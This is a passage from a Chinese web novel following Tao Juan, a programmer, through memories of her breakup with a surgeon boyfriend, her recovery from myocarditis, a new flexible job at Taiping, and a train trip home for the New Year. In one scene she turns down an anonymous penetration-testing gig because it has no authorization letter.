周测答应得很干脆,可每次要看房的时候他就刚好有各种事。要么急着去医院观摩手术,要么是突发病例,他有幸能跟主治医生一起写论文。
周测他妈雷主任更绝,听说了这个事,时不时给她转发“租客占着房东学区房的学位”之类的社会新闻。
陶涓发了回脾气,再次提出看房周测倒是真跟她去看了,不过每套房子他都能挑出一堆毛病,装修太旧,朝向不好,卫生间没有浴缸,小区人员成分复杂……
每次看完房他都会说,“没事,咱们肯定能找到满意的房子,下一个一定更好。”
到后来中介都烦了,不再联系陶涓。
陶涓也不好意思再麻烦人家。
这么一拖,又过了几年。
有一年冬天,陶涓加班到十点多,又困又累,换季时又感冒了,发着低烧,头痛欲裂,同事给她一粒扑热息痛,她坐上地铁后睡着了,再醒来已经到了终点站。
这时就算打车回家到家也要两三点了,第二天上午还要在客户面前做演示,她实在折腾不动。叫上出租车,在离方舟最近的酒店开了个房,睡了一夜直接上班。
幸好天亮后她烧退了,客户演示也完成得不错,上司开心之余大发慈悲,这天让大家早早下班。
陶涓回到家,周测才醒来没多久,压根没发觉昨天晚上她没回家。
她安慰自己说,因为周测作息不规律,下夜班都是睡客卧才这样的。
可那股压住的失望从此在心里变成一股喷泉,时不时就会喷发,一次比一次更难压住。
隔天陶涓又联系上中介,周末在方舟附近看了几套一居室,选中了现在这套一室一厅,她这才发现,原来找房租房敲定合同,搬进去——这一系列事可以在一周内完成。
第一次在这个小家过夜时,开心之余,她忽然对自己很失望,也很后悔。
原来她早就可以过得更舒适,花在通勤上的时间可以用来在超市闲逛,可以多睡一小时,也可以什么都不干,她这几年究竟为了什么过得这么辛苦?
她不禁重新审视她和周测的关系,他真的值得她做出这么多牺牲吗?
起初陶涓只是加班时住在自己的老破小出租屋,很快变成周一到周五住在那。
半年后周测要去意大利米兰的医院交流学习,他出国后她干脆地把所有东西搬到小屋。
帮她搬家时曹艺萱劝她,要不,直接跟周测说分手吧,谁也不耽误谁。
陶涓却犹豫了。
从大二的暑假到现在,她和周测在一起整整六年。
六年的时间有多久呢?
这段时间等于:一个婴儿从降生到准备上小学,一个小学生从入学到成为初中生,初中和高中加起来。
如果六年的时间都无法磨合成功,对方还是一个和她各方面都很合适的人,那她还能找到另一个人吗?
周测也似乎感受到危机,他想要推迟去米兰的时间,把这次机会让给别人,可这样就意味着,今后罕见的大型手术中人家能做一助,他只能做二助,甚至只能观摩。
周院长和雷主任更是不理解,医生的职业晋升晚一步就步步晚,很难再追上,周测从小到大都是领跑的那个,为什么会突然有这个想法?
雷主任还让陶涓去劝周测。
陶涓劝了,周测最后还是去米兰了。
准备出院那天的下午,她输液包还剩三分之一时雷主任来了。
说是来看看她,不过寒暄了几句后,雷主任居高临下,亲切关怀道:“小陶,你舅舅现在怎么样了?”
陶涓心道,来了。
她不卑不亢微笑,“挺好的!他那水果店生意可好了,街坊邻居们都知道我舅舅的人品,知道他不会缺斤少两以次充好,都愿意来他店里买水果。”
雷主任哪能听不出她言外之意,也微笑:“那可真好,再过几年就能把亏空都还上了,你到时要结婚成家,生儿育女,哪一件都是花钱的事。”
陶涓看着雷主任笑,不说话。
雷主任丝毫不觉尴尬,在她病床边坐下,“你和周测虽然分手了,可我心里一直是把你当半个女儿看的,女孩子的青春比男孩子宝贵,身体养好,换一份不那么累的工作,找个合适的对象,安个家,我也为你高兴,不怕你笑话周测,这孩子有点死心眼,他总觉得你是为了你舅舅的事,不想拖累他才提的分手,国庆的时候我一个老姐妹想介绍一个姑娘,他连见都不见,说你一天不找对象他就等着。唉。”
陶涓垂下眼皮,“行,我找机会劝劝他。雷主任,您先去忙吧,我今天出院,待会儿我朋友来接我,还得收拾呢。”
送走雷主任没多久,曹艺萱来接陶涓。
她一眼看出闺蜜情绪不好,“怎么了?”
陶涓说了雷主任刚才跑来敲打她的事,曹艺萱抓起一个毛绒玩具当成周测拳击:“妈宝男!没担当!自私鬼!”
“别别,打坏了漏水!”
曹艺萱定睛一看,这是个布丁狗造型的热水袋,“好可爱!你在哪儿买的?”
“我捡的。”
打吊针时胳膊冷,裹上棉被也无济于事,陶涓想托护士帮忙买个热水袋,护士随手递给她这个热水袋,“可能哪个病人出院时放在这儿了,你不忌讳就拿走吧。哦,我给你用酒精喷一喷,消下毒。”
有些病人出院时不想带着“病气”回家就把在医院用的脸盆毛巾各种小物都留在病房。
陶涓不介意,她抱起这只可爱的布丁狗贴在脸庞,毛绒绒,软软的。
出院是值得庆祝的事,顺便再庆祝一下曹艺萱第一次上电视圆满成功,两人又去吃涮羊肉。
吃到一半,曹艺萱还是忍不住,“要是他去米兰那时你就跟他分手,没准就没今天这事了。”
陶涓低头不语。
那时她担心提出分手周测会真的放弃进修机会留在北市。她可担不起这么大的罪名。
于是她告诉他,不管怎么样她都会等他回国。
周测很感动,出国之后每天算好时差跟她通话、视频,几乎每周从米兰寄明信片和各种小东西到她公司,方舟所有人都知道她的男朋友周医生。
这让陶涓忽然有种错觉,仿佛回到两人刚开始热恋那段时间。
殊不知,爱情死亡之前也会回光返照。
那一年夏天,陶涓连着加班两个月,好不容易凑出十天的假期,从北市飞到米兰去看
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周测。
因为最后一分钟才定行程,直飞的票早就售罄,只好在罗马转机。
她安慰自己,两个多小时转机时间正好去贵宾休息室洗个澡,见到周测时不至于风尘仆仆。
办某个信用卡能使用一些机场休息室这个薅羊毛的招数还是顾清泽教她的。
可她刚走到休息室附近就收到周测的电话,接通后他说:“陶涓,回头。”
她回过头,他捧着一束玫瑰花对她笑,她怎么也没想到他会跑到罗马来接她,欢呼着跑过去拥抱他,他热烈回应她,接着从口袋里拿出个小盒子,里面是那枚亮晶晶的钻戒。
钻石是圆形明亮切割,切工精密,光彩闪烁,刺得她眼睛微疼。她迟疑,该答应吗?
不答应?
那么她飞了十几个小时来找他又是为了什么?不就是为了最后尝试一次挽救他们的感情吗?
她还在犹豫着,周测抓住她的手,给她戴上那枚戒指,周围的乘客们都在为他们鼓掌,她一时间迷茫又疲惫,也说不清是为什么,忽然落泪。
周测轻轻吻她额角,“说你愿意。”
她流着泪笑,用力抱他一下,把脸藏在他颈窝。
她对自己说,他这么用心,要不要再试一试?
原本的计划是到米兰第三天两人坐火车去马焦雷湖,那里是宫崎骏的《红猪》的取景地,是她从小向往的目的地之一。
可是那天,这米兰中央火车站,还有几分钟火车就到了,周测突然接到一个电话。
然后,他万分激动又万分抱歉地告诉陶涓,他要立即赶回医院。一个六岁的小患者一直在等心脏移植,刚才有了心源,马上就要进行手术。
他不能错过这场手术。他让陶涓先去,等病人稳定后他就过去找她。
陶涓能说什么?
六岁的小患者。
心脏移植手术。
真正的性命攸关。
观摩手术,也许作为助手,这些经验非常宝贵,以后能用在国内,拯救更多小患者。
所有这些,都比陪女友去游玩重要许多。
像从前很多次一样,陶涓无法拒绝,只能点点头:“那你快去吧。”再艰难地把自己的情绪咽下去。
周测走了很久之后,她还感到喉咙里有个不规则的硬块。像小时候不小心吞下了整个鸡蛋黄那么难受。
她终于承认了,她做不了周医生的女友。
是是是,病人很重要,医生的职责是救死扶伤,相比起来,她的程序员工作,她的情绪,她的梦想——全都没周测的那么重要,全都要为他让道,牺牲,委屈。
她总是首先被放弃的那个选项。
回北市的飞机上,陶涓第一次给自己升了舱,结结实实睡了十一个小时。
她累了。
几个月后周测回国,他回来的第二周,陶涓提出分手。
导火索是因为大舅。
他为发小做担保向另一个朋友借钱,没想到被从小认识的朋友骗了,钱全都拿去赌博输光了,人也跑没影了。
陶涓拿出自己全部积蓄,卖掉方舟的股票,悄悄转给舅妈,让她别告诉大舅钱是她的,不管怎么样,先把钱还上。
周测无意间听到她们对话,问了缘由后觉得不解:为什么不先走法律程序?大舅也是被骗了,法院也不一定会让他负责全部债务,怎么就到了要卖房卖股票的地步?
他的话里还藏着别的意思:那只是你的舅舅,哪里轮得着你来还债?
陶涓手在轻轻发抖,也不跟他辩论,只说,“我们家人做不出那种事。还有,我们分手吧。”
今天听雷主任的话,原来周测还觉得是她怕连累他才提出分手的?
唉哟,不会吧。
有些男人,永远不会反思,因为在他们的世界里,连太阳都是围着他们转的。
10. 谷底
陶涓出院这天晚上房东张阿姨来了。
她仔细打量陶涓,“怎么就心肌炎了?”
收了租金,张阿姨又问,“小陶,你考虑得怎么样?要是你想买,阿姨再便宜两万块,咱们还能省个中介费。”
这房子是张阿姨原先单位的家属院,学区房,租金不贵,房价贵。
不过她儿子早就移民去了澳洲,孙子现在都要上大学了,学位一直没用上。
今年年初这个小区并入了更好的学区,市面如此不景气,这里的房价却小涨,张阿姨就生出卖房的念头,先问陶涓想不想买。
当时陶涓确实认真考虑过,这里离方舟很近,周围商业配套又成熟,交通便利,不过,现在她是无业游民,拿得出首付也没法办贷款。
她只好跟张阿姨说:“您先在中介那挂上吧,要是有人来看房,你提前跟我打招呼。”
第二天曹艺萱接陶涓去超市,说起房子的事,曹艺萱叫她别急:“就算张阿姨要卖,也得几个月才卖得出吧?就算卖了,新房东也不一定就要立刻搬进来,没准还让你继续租着。不过啊,你老实跟我说想不想买这个房子?我们公司刚分红了,我今年还真有点小钱,我又不急着用钱,你先拿去,全款把这房子买了!”
“不买不买!”陶涓赶紧数这房子的缺点,“二三十年房龄,还是顶楼,冬天冷夏天热,根本没有升值空间,租金回报率才1%,绝对不买!这大几百万放银行里年利率都不止这么多。”
曹艺萱建议:“要不你买我们小区吧?我楼上有个业主最近要卖房。你买了,咱们当邻居。”
“不买。太贵。太大。买不起。”
“行吧,反正你要是有需要,就先跟我吱声。”曹艺萱知道陶涓的难处。父亲去世早,妈妈再婚,家庭关系复杂,轻易不会向家人求助。
“没准我跟罗莹去当数字游民,不在北市租房了。”
中午吃饭时陶涓提醒曹艺萱,“你没再给我订饭吧?”
“什么饭?”
“王府酒店的粤菜外卖啊!看你这记性,幸好我想起来。”
曹艺萱刚想说外卖不是她订的,会不会是周测?话到嘴边她转念一想,管这混蛋男人干嘛?都分手几年了昨天又让她闺蜜受气。
于是含糊道:“知道了!你来看看这汤底好了没?”
送走曹艺萱,陶涓去社区医院打吊针,打开手机看看银行余额,方舟还是没给她补偿金。
北市灵活就业养老保险的缴纳标准不低,再计算一下房租、社保医保和日用支出,不禁连连叹气。
罗莹说不行就回老家考公务员,陶涓无聊时查了查公务员体检标准,其中一条是曾患心肌炎的要从严检查,有房颤等症状的不通过。她的症状可比房颤还严重。
怎么办?
原先跟小师弟孟霄说要是过完年还找不到工作就找他帮忙接点兼职零活儿,现在看来得提前了。
孟霄效率挺高,这天晚上就发给陶涓一个临时兼职的活儿,为一家公司做防火墙测试,如果陶涓愿意接,定金5000,测试出报告后给一万,如果能攻击成功,找出防火墙的漏洞还有两万奖金。
陶涓简直不敢相信,这么多?这活儿要是一个月接个两三单,她原先在方舟累死累活的是在做什么?
她先谢了孟霄,中介几分钟后就转给她定金,还有具体资料。
陶涓看了资料,心中的不安越来越强烈,这个活儿有点蹊跷。
她再次联系中介,询问那家公司的信息,最好还要有这个公司出具的进行测试的委托书。
中介很不耐烦,“客人就是想要匿名测试才找我们,不然他们内部不能测试吗?你不接有的是人等着要做!不做就把定金退给我!”说完不再回复。
过了一会儿孟霄联系陶涓,“师姐,那个活儿你不想接吗?”
“当然不是呀!”陶涓给他分析,“你知道到底是谁在雇我们做防火墙测试吗?就算这个公司的信息不能透露,那委托书总该有吧?”
孟霄从没想过这个问题,“委托书?为什么要委托书?”
陶涓提醒他,“防火墙测试说白了就是测试员以黑客的身份攻击防火墙!没有委托书,你怎么知道雇你的人究竟是这个公司,还是他们的对手?”
孟霄一听反倒笑了,“师姐你想太多了!我都干了几年了,一点事没有。”
陶涓暗暗摇头,“我问你,你见过中介吗?中介公司你去过吗?还是一切都是线上联系?如果万一我刚才假设的情况真的发生了,中介把群一解散你知道到哪里找他们吗?你攻击防火墙的时候,人家会不会找到你的IP?到时候你要怎么证明自己是无辜的?”
孟霄还是不当回事,“师姐你真是太谨慎了,当初带我接兼职的朋友人家都干十几年了,哪有这样的事啊!”
她只好说的更直白,“方舟的一级程序员月基本工资才五万,接这么一单,加上出报告最多一周就能做完,就一万五,还有两万破解奖金,你不觉得可疑吗?”
孟霄沉默了好一会儿,“我不知道方舟的程序员工资是多少,毕竟我在方舟实习结束后没转正。”
陶涓一窒,猜自己得罪了他。
果然,孟霄说:“师姐,下次有别的活儿我再介绍给你吧。”然后就挂断了。
她看着手机上的“通话结束”,五味陈杂。
周测从前就说她管得多,瞎操心,还爱说教。
刚才她就差没跟孟霄说“不要为了钱误大事”,唉,这下把人得罪了。
孟霄要是肯认真想想她的话还好,就怕起了反作用,接这种来路不明的活儿接的更起劲。
她托着下巴,问自己,现在怎么办?
要不,请孟霄吃顿饭,再谈谈……?
唉算了,算了,当初她得罪顾清泽,也差不多是这个流程,结果就是人家把她拉黑了。
顾清泽一个未成年的小孩来人生地不熟的北市念书,又有两人在波士顿做战友夺冠那段经历,就算院长和系主任没交待她也会留心照顾他。
不过,少爷都有少爷脾气,去军训前还好好的,军训回来后就不再联系她了。
当时周测就说她多管闲事,人家有管家有保姆,哪用得上她。
几天后她在校医院打吊针遇见顾清泽,还是忍不住问他过得怎么样,怎么生病了,是不是不习惯北市的气候。
这小孩说气温低也不是没见过,为什么北市哪里都没有暖气啊?其他人是怎么活下来的?
陶涓告诉
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他,北市有暖气,不过11月中旬才开。
哦还有,有种东西叫秋裤。学生超市就有卖的。
她打完吊针,把自己的小热水袋给他,他笑得两眼弯弯的,像只很有礼貌的猫咪。
他总是这样子,隔一段时间就突发恶疾似的,无缘无故阴阳怪气她,然后又毫无预兆地阴转晴天,甚至还刻意“巴结”一下,送几块她喜欢的巧克力,要么是什么可爱的文具。
次次这样,她摸不着头脑,只能理解为他就是这样喜怒无常的性子。
这么过了一个学年,大三暑假时,他说想要做个无人机的小组项目,她觉得想法很不错,还给他一些务实的建议,只是她暑假后半段要去方舟实习,再开学后也没法参加。
多正常的事,顾清泽竟然大发少爷脾气,狠狠挖苦她一番,接着从宿舍搬走,搬回顾家为他置办的高级公寓,临走前还跟她撂狠话。
她气得头疼,跟自己说以后再也不管这小屁孩的烂事。
快开学时回宿舍住的人渐渐多了,某天晚上临睡前她听室友们八卦,说起顾清泽在公寓日夜大开趴体,来者不拒。
她脑子里立刻又闪现初见他时那“酒池肉林”的荒唐景象。他来T大后也在酒店开过类似的趴体,更是乌烟瘴气,上次被她冲去把人赶走了,这次不知道闹成什么样子。
陶涓没想到自己在方舟实习,每天累得要命,竟然还有闲心为人操心。
终于,她忍了又忍,还是在周末发微信跟他说“未成年不能喝酒,不要什么人都往家里带,多危险呀”之类的话。
然后?
然后她就被拉黑了。
周测曾说她是爱心泛滥,曹艺萱说她总容易心软,而且别人但凡对她表露一点善意,她就要回报人家十分。
可能他们说的都对,反正就是,都被拉黑了,陶涓还是担心顾清泽。
她放不下心,隔了几天还是决定去他家里看看他到底搞什么。
他从前给了她一副公寓的门禁卡,就算绝交,也得把卡还给他。
陶涓直接杀上门,电梯打开后就觉得哪里有些不对,刷卡进了门,静悄悄的,大厅一个人没有,也不见杂乱。
她的心忽然悬起来,好多美剧凶杀案恐怖片似乎也是这个套路:富家公子大搞派对,一些危险的宾客不请自来,最后主人的尸体要么躺在床上要么浮在游泳池里。
“顾清泽?”她大声叫他,没有人回应,她跑去室内泳池,碧波荡漾,光影随着水波投在墙上。外面的露台上也空无一人。
这时陶涓听到脚步声,像是有人从二楼走下来,她急忙跑回客厅,看到顾家派来北市那位管家。
那头发花白的老头彬彬有礼告诉她:“顾先生离开北市了。您有什么需要我转达的吗?”
陶涓没想到,在酒池肉林之后,顾清泽为她具象化的下一个成语是人去楼空。
开学后她才知道“离开北市”的意思。
顾清泽退学了。
她这才发现,自己并没有他其他联系方式,也不知道他真正的家在哪里。
他就这么从她的世界里消失。
果断,决绝,不留余地。抛弃一切对自己不再有益的东西。
和她的优柔寡断正相反。
11. 峰回路转
跌入人生的谷底后该怎么办?
陶涓选择到图书馆借点心灵鸡汤。
听说罗永浩当年考GRE就是这么干的,先去地摊买了几十斤心灵鸡汤书籍,然后就着鸡汤狂背单词。
陶涓找到两本书,正在翻阅,忽然接到太平人事部的电话,先问候她,现在身体状况怎样?
得知她还要在社区医院打一周吊针后,又问她是否仍然愿意为太平工作,不要求按点上班,按工时计酬劳,办公地点也灵活,可以在家工作,同事太平也会给她在太平大厦26楼准备一间办公室,在Rosy隔壁。
陶涓听完都怀疑自己是不是听错了——太平,居然愿意请她兼职?
好吧,也有点像临时工,但是——这不就和接零活儿一样吗?还不用别中介抽成,更不用担心扯上官司。
当然愿意啊!
人事部的人也很高兴,“那太好了,Rosy稍后会跟你联系,她会把项目资料发你邮箱。”
陶涓把心灵鸡汤放回书架,几乎一路小跑回家,先打开邮件看资料,再跟Rosy线上会议,不一会儿人事部也加入,谈好了关于薪酬和工作时间安排的具体事宜后就离开,让Rosy继续介绍这个项目,又过了一会儿,李唯安也加入会议。
陶涓要接的活儿是关于广告宣传投放的算法工程。
有一部太平投资的电影准备在春节档上映,同时太平也负责电影的宣发。
一部电影的制作可以长达几年,最终上映的时间往往不过几十天,如果前期成功,院线才会安排更多拍片,更好的放映时间。
暑假档和春节档,尤其是春节档,是整个电影市场厮杀最激烈的,各种宣传的招数越来越多。
什么时候追加宣发资金,在哪些社交平台进行宣发,选哪些up主和博主写软文,怎么预防对手的各种阴险招式(同时也要选好时机放对手电影男女主、导演的黑料)全都是宣发中不能忽视的一环。
电影的宣发资金在近几年越来越高,去年的票房冠军,宣发资金几乎是制作成本的三分之一。
这次太平准备拿出近九位数做电影宣传,要怎么才能让这笔钱效率最大化,不仅要根据以往的经验制作模型,做出预计,还要在放映器跟踪数据,随时调整。
从前李唯安专门负责这个,但怀孕分割掉她大块的精力,她将工作拆分,陶涓主要负责维护和跟踪调整算法,Rosy负责进一步细分职责,调度部门中十几个员工。
因为李唯安和大家有时差,一些会议是在晚上八点以后进行,但这对陶涓根本不算什么。
从前在方舟半夜被叫起来开会是寻常事,还不给算加班费呢,太平的合同上说了,开会也算工时,十点以后还给双倍薪酬。
线上会议结束后,陶涓生怕这失而复得的机会稍纵即逝,午饭都没吃直接去太平签合同。
Rosy带她去看给她准备的办公室,单独一间,不大,但是竟然有窗口。
陶涓不由感叹。
在方舟最后几年,为了降本增效,更可能只是管理层为了给自己刷KPI,高级程序员不再有单独办公室,团队所有人要坐在一起。
过了一阵,管理层又说要提高沟通效率,于是大家连个三面小隔间都没了,电脑屏幕后面就是同事的脸,斜斜眼睛就能看到旁边两位同事的屏幕。
有一次罗莹吐槽:看,咱们像不像站在食槽前面的一排牛马?
大刘更正她:像养鸡场里的排成排的母鸡。资本家只等你下出金蛋。
陶涓在太平给她的新办公桌上签了合同。
她决定,为了这难得的尊重她绝不会把这份工作当一份只是赚钱的零活儿——不管能为李唯安服务多久。
拿着自己那份合同离开太平大厦后陶涓才察觉她忘了换曹艺萱钦定的Max Mara大衣,又穿着黑色棉被羽绒服去了。
她等不及要给曹艺萱报喜讯,坐在出租车上打电话:“姐们儿复活了!你在哪儿?我接你去吃饭!”
曹艺萱嗷嗷欢呼了一阵,“你看,我就说吧,你只缺一个机会!保持大无畏乐观主义心态,一切都会越来越好的。”
“借你吉言。”
虽然有了簇新的办公室,但陶涓上午要打吊针,和李唯安的会议主要在晚上8点以后,和Rosy商量之后还是在家工作。
她重新摆放客厅家具,再把几盆绿植搬到在沙发和书桌之间,这样就隔出一个正式的工作区。
她暗暗对自己说,这样也好,和李唯安的合约结束后她没准会真的离开北市做数字游民,提前适应一下在家工作是什么感觉。
曹艺萱劝她不要想那么远,“什么叫峰回路转,柳暗花明?这就是啊。没准很快房子的事也会解决!再说,你病还没好利索呢,想什么当数字游民的事啊,我倒是在横店当过游民,酒店一住几个月,烦呐,再不杀青都想退圈了。”
陶涓立刻有新主意:“那我以后就到横店当数字游民,咱俩租个房子——能做饭那种!你收工了就回家,我已经给你煲好一锅靓汤!”
曹艺萱咯咯笑,“行行行,到时我包养你!”
新工作做到第三周,陶涓已经习惯了在家线上工作,和李唯安、Rosy的配合也越来越默契,一切渐入佳境。
有天中午张阿姨突然拜访,满脸喜色,“小陶,托你的福,我房子卖掉了!”
她看见陶涓愣住,赶紧补充,“对你也是好消息——新屋主说你尽管继续住着!房子成交后两个月的租金他们也没要!”
说完这一大串话,张阿姨才走进来,“我听中介说,看房那天人家都没进来,门一打开,站在门口看了一眼就定下来了!我早就说嘛,这屋子给你收拾得这么干净漂亮,哪个买房的能挑出毛病……”说着忍不住掩口笑起来。
看得出张阿姨是真高兴,她坐在沙发上,告诉陶涓房产交易现在进行到哪一步了,她到现在都没见过新屋主,“做生意的,有钱!买这房子就是为了学区,唉哟,孩子还没结婚就想到孩子的孩子上学了!哈哈哈哈……”
像是想到自己也曾经这样,她又忍不住笑了,然后拿出一串钥匙,“小陶,你待会儿给我写个收据,新屋主让我把所有钥匙交给租客,你再给中介留个电话,以后有什么事你们联系。哦对了,接下来两个
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月的租金还是给我的啊!”
张阿姨走后,陶涓看看日历,就在几周前,她还感叹流年不利,人生到了谷底,没想到短短一个月峰回路转,工作也有了,虽然不是很稳定,但是同事们容易相处,工作时间灵活,最重要的是薪酬公道还按周付款从不拖欠,现在房子也稳定了,虽然不是自己买的,但是住了几年按自己的心意布置,不用找房搬家,少了多少折腾啊。
太幸福了。
转眼间到了腊月二十三,陶涓中午给妈妈打了电话,宋靖耘告诉她,“上午我去看过爸爸了,也给爷爷奶奶的墓扫了扫。”
滨市的习俗,这一天要告诉逝去的亲人要过年了。
陶涓不知道爷爷奶奶家乡是什么习俗,他们从广府来支援边疆,永远留在了滨市,从她有记忆起,家里就是按滨市习俗扫墓的。
说完这个,宋靖耘又问陶涓什么时候回家。
陶涓说:“得除夕前一天才能到家。今年我和曹艺萱坐卧铺回去,大舅来接我。你跟林爸说不用费事了。我晚上再去家里吃饭。”
宋靖耘沉默一下,“好。”
临走那天陶涓早早收拾停当,等着周测来接她。
前天晚上他说自己今天休假,一定要送她去车站,陶涓其实觉得大没必要,但和他通话时正忙着要完成工作,没时间多拉扯,再一想也好,见了面就劝他今年去相亲别拿她当挡箭牌。
晚上十点的火车,八点了周测还没来,曹艺萱打电话问陶涓问到哪儿了,陶涓说,“我正下楼呢,待会儿见。”幸好她在十分钟前已经叫了专车。
这个老小区还没加装电梯,好在行李不多,走一层休息一会儿,拖着箱子到了小区门口,车也刚好到了。
看到北市火车站的钟楼时周测才打来电话,他气喘吁吁,“今天早上临时加了个手术,我现在过来……”
陶涓打断他,“我已经到了。你快点回家休息吧。”
周测再三道歉,说觉得手术肯定在六点之前能结束就没告诉她。
陶涓早就见怪不怪,也不生气,“我要进站了,待会儿再聊。”
“行,你坐上车了给我发消息。”
紧赶慢赶到火车站,过了安检,一眼看到望眼欲穿的曹艺萱,她惊讶地跑来接陶涓的双肩包,“周测怎么连送人也不会?让你自己大包小包进来了?”
陶涓摇摇头,“上车再说。”
她们买的高级软卧,两人一个小包厢,关上门陶涓把周测干的不靠谱事一说,女明星都要飙脏话:“我靠,乌鸡鲅鱼。乌鸡鲅鱼。他临时加手术就该赶快告诉你,让你有个准备,到了7点他还没来就叫车呀!为什么不告诉你?我是真搞不明周医生的思路,他也不傻呀,是不是?不然也不能当医生!哎哟我去,服了他啦!”
陶涓剥了个砂糖橘喂闺蜜,“这有什么难懂的,在他看来,重要的不是‘陶涓能准时坐火车’,而是‘周测完成了送陶涓去火车站’这项任务。”
曹艺萱也只能摇头,举起保温杯碰碰闺蜜的保温杯,“来,敬你一杯!”
在她看来,陶涓没跟周测继续走下去,是绝对值得庆祝的一件事。
12.上次坐火车还是大三暑假
她们乘坐这趟列车从北市出发直达滨市,两人白天都挺忙,躺在卧铺上又聊了几句就睡着了。
列车轻微晃动,车轨有规律的碰撞声就像白噪音,这一觉居然睡得很香。
途中陶涓醒来过一次,掀开窗帘一角,车窗外隐约是一片被白雪覆盖的平原,被夜色染成蓝灰色的绒毯。列车不知为什么停在这里。
她忽然想起来,自己上一次乘火车是大三暑假。
为了能在评优时更有优势她报名参加学校组织的去山区送温暖项目,那个叫“白马村”的山村在西南山区,从北市直达的只有绿皮火车,要将近30个小时。
现在回想起来都觉得这旅途漫长得可怕,那时的自己真的是太拼了。
幸好上车不久大家陆陆续续补上了卧铺票,不过,是六张床一个隔间的硬卧,还只换到上铺票。
坐在铺位上身体没法完全坐直,躺着胳膊都不用伸直就能摸到天花板。
这趟列车是慢车,却偏偏叫“快速”,K字打头,逢站必停,有时还会无缘无故停在旷野里,而且一停车风扇也停,空调?不存在的。
七月的天,车厢里热得像蒸笼。
陶涓向来怕热,上车不久就蔫吧了。
另外几个同学在十几个小时后也一个个像脱水的鱼,零食不吃了,牌也不打了,手机也没信号,整个车厢又是汗味又是烟味,小孩哭大人叫。
令她意外的是,顾清泽始终一句也没抱怨,好像还挺喜欢这趟堪称受罪的旅程。
陶涓是真搞不懂这小朋友,听她说要参加这个项目,他立刻要去报名,不管她怎么劝:这个不是出去玩,会很艰苦,搞不好会好几天都洗不上澡,你又不评优不用这么拼……
劝不住。
根本劝不住。
出发前,系主任再三嘱咐她看好顾清泽,千万不能让他有什么闪失。
陶涓心里吐槽,怎么看?给我发一副手铐给他戴上?还是一条狗绳给他拴上?那么大的男孩子为什么要我看?
还好从出发时顾清泽就跟小狗似的一直跟在她身边,上了车,同学老师都默认他是她的责任。
不过,也算沾了他的光,补上卧铺票时优先给他们两个。
忘了是在哪里,反正一个站台只有白色水泥牌写着黑色站名的小地方,他一定要下车去走走,陶涓怕他搞出什么事,只得也跟着下来。
站台上的小贩当中有个卖水果的老婆婆,藤篮里的果子他俩从来没见过,像比弹珠大一点的小桃子,金黄色,表面光滑。
顾清泽尝都没尝就问那婆婆,全买了能便宜点吗?然后五十块钱买了两大塑料袋提上车跟同学老师们分。
现在想到这果子陶涓还会反射性眯眼,好像那股酸味又在口腔卷土重来。
她和顾清泽蜷缩在上铺玩□□,谁赢了谁就吃一粒果子。
连赢三把后陶涓含着果子捶打床铺,眼泪差点和口水一起流出来。
混蛋小子幸灾乐祸得嘴角都绷不住了,她这才恍悟,他是故意输的!
接下来玩牌时两人比着故意输,然后互相指责对方耍赖,又研究出许多补充玩法。
终于到了目的地,他们分的这份果子全吃完了。
几天后他们返回北市,回程经过小镇是深夜,站台上当然一个小贩都没有,他还有点失望,陶涓故意打趣他,“怎么?酸果子吃上瘾了?”
他说,其实根本不想吃果子,只是看那个老婆婆很可怜,那么热的天,她只有一顶破的草帽,早点卖完就能回家了。也许能用卖果子的钱买顶新草帽。
陶涓再次朦胧睡去时舌尖似乎还有点酸涩的味道。
这样的小孩,为什么会把她拉黑?为什么不告而别……
到达滨市时是上午八点,太阳还没升起,站台上零下二十度的冷空气里有种陶涓莫名熟悉的味道。这是她的家乡的味道。
到了出站口,陶涓远远就看到大舅和表姐宋牧谣,曹艺萱是妈妈来接,两家人又彼此寒暄了一会儿,大舅少不了夸曹艺萱又漂亮了,还上了电视,唉哟,真是大明星了。
回到家,舅妈刚从早市回来,买了一堆陶涓爱吃的:炸糕,蛋堡,紫菜包饭,粘豆包,还早早拿出来黑乎乎的两个冻梨放在小碗里搁在暖气片上,“吃了早饭再吃!”
一家四口热热闹闹吃完早饭,大舅和舅妈去开店,陶涓和表姐去超市再做点过年之前最后的采购,明天就除夕了。
超市里人挺多,两人刚到生鲜区,周测打电话问陶涓到没到,挂了电话,宋牧谣问她,“你和周测又好上了?”
“没有的事啊!”陶涓不敢告诉表姐她得病住院的事,只跟她说了周测要送她去火车站结果临时放鸽子,“估计是愧疚吧,才想起来问我一句。”
宋牧谣冷笑一声,“周测呀,对人有那么点心思,但不多。也不知道他是才睡醒呢,还是不清楚你车是几点到。唉呀,男人呀,就没一个靠谱的。”
“一个都没吗?那大舅呢?”
“他?”宋牧谣冷笑得更大声,“他靠谱?他给朋友担保之前跟我妈商量了吗?跟咱俩商量了吗?他但凡透露一句,大家都会觉得这事不能办!人银行都不敢借他钱,你敢去担保他,怎么,你比银行还能耐呗?”
数落完不靠谱的爹,又心疼可怜的妈,“唉……那几年我妈一下子老了多少啊?大几百万啊,普通人一辈子也就挣这么多。要是没你垫上那笔钱,都不知道咱家现在住哪儿……”
她摇了摇头,问:“你和周测分手的事,什么时候跟他们说啊?”
“找个机会吧,过完年就说。”
陶涓没法替大舅辩解,后悔和愧疚让他这几年受了很大折磨,前两年过年时只要喝了点酒就哭,说对不起她们姐妹俩。
表姐宋牧谣和前男友本来要结婚了,大舅出事不到一周男孩就提了分手,大舅和舅妈已经够自责了,要是让他们知道她和周测也分手了,那还得了?
这么瞒了几年,幸好周测是心外科医生,逢年过节总心梗病人就会比平时多,有人是喝酒作的,熬夜打麻将作的,还有招呼全家累的,春节时他总是忙得很,不然还真的很难糊弄过去。
姐俩回到家先午饭,又搞了大扫除,贴上春联,挂上装饰,过年的气氛就更浓了。
晚饭前宋靖耘来接陶涓,母女俩依旧客气多于亲热,林家在江对岸的别墅区,路上两人无话可说,陶涓想了想,问:“林溪还打算艺考吗?”
宋靖耘不由笑了,“又换主意了,最近又想留学了,寒假一开始自己报了雅思班。”
林溪今年才上高一,对姐姐崇拜多于亲近,陶涓一进门就把她拉到自己房间,先汇报自己最近一次雅思模考的成绩,又问她对留学有什么建议。
陶涓老老实实说,“除非是国内没有或者国内落后很多的专业,其他专业我都建议你在国内上了本科再考虑要不要去留学深造。”
林溪似懂非懂,“我还没想好学什么专业呢。姐,你是很小就知道自己要学什么吗?”
“我也不知道自己要学什么,不过我很小就知道自己对什么感兴趣。”
陶涓跟妹妹讲自己的经历,“上小学的时候偶然看到一个视频,是一头像恐龙的动物的骨架,在海滩上行走,骨架是用竹子和塑料管还有扎线做的……”
